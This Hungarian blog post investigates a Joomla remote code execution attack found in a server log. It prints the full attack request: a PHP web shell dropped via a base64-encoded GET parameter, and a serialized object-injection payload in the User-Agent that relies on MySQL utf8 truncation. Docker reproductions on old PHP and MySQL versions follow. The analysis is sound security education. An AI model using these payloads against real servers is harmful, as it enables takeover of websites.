Kód újrahasznosítás felsőfokon

Nem is gondolnád, hogy mire képes egy kis kreativitás a régi, megunt osztályokkal

Évekkel ezelőtt tartottam egy belsős előadást egy sérülékenységről, ami annyira tekervényes, olyan valószínűtlen, hogy még a mai napig is lenyűgöz.

Az egész úgy kezdődött, hogy találtam egy feltűnően furcsa sort a webszerver logjai között. A publikus interneten lógó webszerverek logjaiban sok a furcsa sor, na de a feltűnően furcsa...

192.0.2.1 - - [16/Oct/2018:17:33:48 +0000] "GET /?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B HTTP/1.1" 301 178 "-" "}__test|O:21:\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:46:\x22eval($_REQUEST[1]);JFactory::getConfig();exit;\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}\xF0\x9D\x8C\x86"

Két érdekes dolog is van itt. Az egyik az 1 elnevezésű GET paraméterben kapott adat, a másik a user agent értéke (az idézőjelek közötti rész a sor végén). Nézzük először a GET paramétert.

Távoli elérés

Egy urldecode és némi formázás után a következő PHP kódot kapjuk (a CyberChef egyébként remek eszköz ilyenekre):

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);

echo '->|';
file_put_contents(
  $_SERVER['DOCUMENT_ROOT'].'/webconfig.txt.php',
  base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+')
);
echo '|<-';

A webconfig.txt.php fájlba próbál nekünk valamit beírni. Egy gyors base64_decode és az is kiderül, hogy mit:

<?php eval($_POST[1]);?>

Egy egyszerű PHP-s remote shell, amit arra lehet használni, hogy a támadó bármilyen PHP kódot lefuttathasson az adott gépen. Hogy miért volt ráküldve egy base64_encode? Amint elmentettem a fájlt, ami ezt a bejegyzést tartalmazza úgy, hogy benne volt a fentebbi kód, rögtön jelzett a vírusirtó, hogy backdoor-t talált. A base64 enkódolt változat viszont még nem zavarta.

A probléma csak az, hogy az eredeti HTTP kérés nem a webconfig.txt.php-ra érkezett, így az 1 paraméterben kapott kódot nem is futtatta le a remote shell. Meg minek is küldenének a remote shell-nek egy olyan parancsot, hogy hozza létre saját magát? Biztos a user agent értékében lesz valami huncutság.

Kód újrahasznosítás

Egy kis formázás és dekódolás után ezt kapjuk:

}__test|O:21:"JDatabaseDriverMysqli":3:{
  s:2:"fc";O:17:"JSimplepieFactory":0:{}
  s:21:"\0\0\0disconnectHandlers";a:1:{
    i:0;a:2:{
      i:0;O:9:"SimplePie":5:{
        s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}
        s:8:"feed_url";s:46:"eval($_REQUEST[1]);JFactory::getConfig();exit;";
        s:19:"cache_name_function";s:6:"assert";
        s:5:"cache";b:1;
        s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}
      }
      i:1;s:4:"init";
    }
  }
  s:13:"\0\0\0connection";b:1;
}\xF0\x9D\x8C\x86

Huncutságból nincs hiány, az már egyszer biztos. Rögtön egy } karakterrel kezdünk, ami utalhat egy injection jellegű támadásra, amiben ezzel a karakterrel akarják lezárni az előző értéket.

A következő rész rutinosabb PHP fejlesztőket a serialize-ra emlékeztetheti, de nem teljesen egyezik a formátum. A session_encode ad vissza ilyet és a session-ben található adatok vannak ezzel az enkódolással tárolva szerver oldalon. A végén még van egy furcsa \xF0\x9D\x8C\x86 karaktersor, amit egyelőre nem tudunk hova tenni, de biztos az is rosszban sántikál.

Olyan, mintha valahogy a User-Agent header-ön keresztül próbálnának létrehozni egy új változót a session-ben. Ez az új __test változó a JDatabaseDriverMysqli osztály egy példánya lesz, ami azt állítja magáról, hogy van aktív kapcsolata (a connection értéke true) és van egy disconnect handler-je is, a SimplePie osztály egy példánya, aminek az init metódusát kellene majd meghívni disconnect esetén. Ez már önmagában is elég szokatlan, de ha megnézzük a példány feed_url-jét, az még több gyanúra ad okot:

eval($_REQUEST[1]);JFactory::getConfig();exit;

Még egy remote shell, biztos, ami biztos.

A Joomla mélyén

A J-vel kezdődő osztály nevekből ki lehet deríteni, hogy Joomla-ról van szó. További keresgéléssel a konkrét sebezhetőséget is meg lehet találni, amiből kiderül a pontos verzió is. Így már meg tudjuk nézni, hogy mi történik a kódban. A JDatabaseDriverMysqli releváns része:

public function __destruct()
{
    $this->disconnect();
}

public function disconnect()
{
    if ($this->connection)
    {
        foreach ($this->disconnectHandlers as $h)
        {
            call_user_func_array($h, array( &$this));
        }

        mysqli_close($this->connection);
    }

    $this->connection = null;
}

Az objektum megszűnése előtt lefut a disconnect, ami meghívja az összes disconnect handler-t, esetünkben a gyanús SimplePie példányunk init metódusát:

function init()
{
    // ...

    $cache = call_user_func(
        array($this->cache_class, 'create'),
        $this->cache_location,
        call_user_func($this->cache_name_function, $this->feed_url),
        'spc'
    );

    // ...
}

A számunkra érdekesnek tűnő rész az, hogy a cache_name_function meghívódik és a feed_url-t kapja meg paraméterként. A user agent-ben lévő adatokkal ez a következő hívást jelenti:

call_user_func('assert', 'eval($_REQUEST[1]);JFactory::getConfig();exit;');

Elég régi ez a sebezhetőség, úgyhogy a kód az assert függvény PHP 8.0.0 előtti működésére támaszkodik, amikor még egy string-et várt első paraméternek, amit lefuttatott és kiértékelt. Ez a hívás tehát végrehajtaná a GET paraméterben kapott PHP kódot.

Sikerült megfejteni a log sort, itt az ideje összefoglalni, hogy mire is jutottunk:

  • GET paraméterben kapunk egy PHP kódot, ami ha lefut, létrehoz egy remote shell-t
  • a user agent-ben egy injection-nek tűnő dolog van, ami egy új változót csinál a session-ben
  • az új változó egy olyan gondosan összeállított objektum struktúra, ami az objektum megszűnése esetén lefuttatja a GET paraméterben kapott PHP kódot

A Joomla egy ponton tényleg belerakja a user agent-et a session-be. Konfigurációtól függően ez a session sok helyen tárolódhat, de az alap beállítás az, hogy a MySQLi driver segítségével lementődik egy MySQL táblába. Egy fontos részlet még itt, hogy a kapcsolódás során beállít egy utf8-as karakterkészletet az adatbázis kapcsolaton (és valószínűleg az adatbázisnak és a tábláknak is hasonlóan utf8 a karakterkészlete). De hogy lesz ebből injection?

Furcsa működések

Két gyanúsítottunk maradt, a PHP session kezelése és a session adatok tárolása MySQL-ben. Kezdjük a PHP-val. Nézzünk meg egy egyszerű példát, hogy a session mentés által is használt session_encode hogyan is működik:

session_start();

$_SESSION['foo'] = array();
$_SESSION['bar'] = 'something';

print(session_encode() . "\n");
$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
foo|a:0:{}bar|s:9:"something";

Így, hogy már tudjuk, nagyjából hogyan néz ki az elvárt kimenet, próbáljunk meg belevinni az egészbe egy kis huncutságot:

session_start();

$_SESSION['foo'] = array();
$_SESSION['evil'] = "}__test|O:8:\"stdClass\":1:{s:4:\"evil\";b:1;}\xF0\x9D\x8C\x86";
$_SESSION['bar'] = 'something';

print(session_encode() . "\n");
$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
foo|a:0:{}evil|s:46:"}__test|O:8:"stdClass":1:{s:4:"evil";b:1;}𝌆";bar|s:9:"something";

Ez eddig nem tűnik túl izgalmasnak, csak stringként oda lett serialize-olva a huncutságunk, a furcsa karaktersorról pedig kiderült, hogy csak egy 4 byte-os UTF-8 karakter. De mi történik akkor, ha megpróbáljuk ezt az adatot visszaolvasni?

$data = session_encode();

$_SESSION = array();
session_decode($data);

var_dump($_SESSION);
$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
array(3) {
  ["foo"]=>
  array(0) {
  }
  ["evil"]=>
  string(46) "}__test|O:8:"stdClass":1:{s:4:"evil";b:1;}𝌆"
  ["bar"]=>
  string(9) "something"
}

Egyáltalán semmi rendkívüli. Elég kiábrándító. Talán annak a \xF0\x9D\x8C\x86 résznek a MySQL-hez van köze. Húzzunk fel egy szervert és nézzük meg.

docker-compose.yml
version: '3'
services:
  app:
    image: php:5.3.29
    volumes:
      - .:/app
    working_dir: /app
  db:
    image: mysql:5.6.51
    environment:
      MYSQL_ROOT_PASSWORD: secret
      MYSQL_DATABASE: test

A kis teszt script-ünk kapcsolódik az adatbázishoz, beállítja utf8-ra a kapcsolat karakterkészletét, létrehoz egy táblát ugyanazzal a karakterkészlettel és belerak egy sort, aminek a közepén benne van a mi huncut kis bitkolbászunk. Végül pedig vissza is olvassuk ezt az adatot.

$db = new mysqli('db', 'root', 'secret', 'test');
$db->set_charset('utf8');

$db->query("CREATE TABLE test (id INTEGER NOT NULL AUTO_INCREMENT PRIMARY KEY, data TEXT NOT NULL) CHARACTER SET utf8");

$stmt = $db->prepare("INSERT INTO test (data) VALUES (?)");

$data = "foo\xF0\x9D\x8C\x86bar";

$stmt->bind_param('s', $data);
$stmt->execute();

$result = $db->query("SELECT * FROM test");
var_dump($result->fetch_assoc());

$db->query("DROP TABLE test");
$ docker-compose run --rm app php test.php
array(2) {
  ["id"]=>
  string(1) "1"
  ["data"]=>
  string(3) "foo"
}

Na, végre valami történik. A bitkolbász és az utána lévő rész eltűnt.

A trükk az, hogy az utf8 (teljes nevén utf8mb3, azaz 3-Byte UTF-8 Unicode Encoding) nem támogatja a 4 byte-os UTF-8 karaktereket (arra van egy külön utf8mb4), ha ilyennel találkozik, akkor eldobja az adat maradékát és csak az első felét tárolja le.

Nézzük meg mi történik a PHP session_decode környékén, ha szimuláljuk ezt a viselkedést:

$data = session_encode();
$data = substr($data, 0, strpos($data, "\xF0\x9D\x8C\x86"));

$_SESSION = array();
session_decode($data);

var_dump($_SESSION);
$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
array(3) {
  ["foo"]=>
  array(0) {
  }
  ["evil"]=>
  NULL
  ["46:"}__test"]=>
  object(stdClass)#1 (1) {
    ["evil"]=>
    bool(true)
  }
}

Úgy tűnik a PHP elég rosszul kezeli a hiányos session adatokat. Ezzel végre sikerült reprodukálnunk azt a működést, ami végül ahhoz vezet, hogy a feltűnően furcsa HTTP kérés hatására létrejön egy remote shell a szerveren.

Szemfüles olvasók azt is kiszúrhatták, hogy elég régi PHP és MySQL van a példákban használva. Ennek csupán egyetlen oka van. Az, hogy frissebb verziók esetén ez már nem működne.

A huncut kis bitkolbászt tartalmazó sor beszúrása MySQL 5.7.42-ben:

$ docker-compose run --rm app php test.php
Fatal error: Uncaught exception 'mysqli_sql_exception' with message 'Incorrect string value: '\xF0\x9D\x8C\x86ba...' for column 'data' at row 1' in /app/test.php:14
Stack trace:
#0 /app/test.php(14): mysqli_stmt->execute()
#1 {main}
  thrown in /app/test.php on line 14

A levágott végű session adat dekódolása PHP 5.4.45-ben:

$ docker run --rm --volume $(pwd):/app --workdir /app php:5.4.45 php test.php
Warning: session_decode(): Failed to decode session object. Session has been destroyed in /app/test.php on line 43
array(1) {
  ["foo"]=>
  array(0) {
  }
}

Összegzés

Hosszú volt az út idáig, nézzük át még egyszer, hogy mi is kellett ahhoz, hogy ezt a sebezhetőséget ki lehessen használni:

  • elég régi PHP és MySQL (a sebezhetőség publikálásának idején az 5.4-es PHP és 5.7-es MySQL már évek óta elérhető volt)
  • a session tárolása MySQL-ben egy utf8-as táblában és utf8-as adatbázis kapcsolattal
  • felhasználótól származó, nem megbízható adat tárolása session-ben
  • olyan osztályoknak a megléte a kódban, amit ha nem rendeltetésszerűen kombinálunk össze, akkor végül sikeresen lefuttat egy string-et PHP kódként

Mi ebből a tanulság? Nem tudom... ha mindent jól csinálsz, akkor is félremehetnek a dolgok? Mindenesetre jusson eszetekbe ez a kis nyomozás, amikor legközelebb úgy gondoljátok, hogy egy lehetséges sérülékenységet (legyen az akár egy használt library-ben, kedvenc programozási nyelvetek interpreter-ében vagy az adatbázisban) úgyse lehet kihasználni a kódotokból.

További olvasnivalók

This post is also available in english: Advanced code reuse

Hozzáfűznél valamit?

Dobj egy emailt a blog kukac deadlime pont hu címre vagy irány a bejegyzéshez tartozó tweet.

Feliratkoznál?

Az RSS feed-et ajánljuk, ha a régi jó dolgokat kedveled, de követheted a blogot Twitteren is.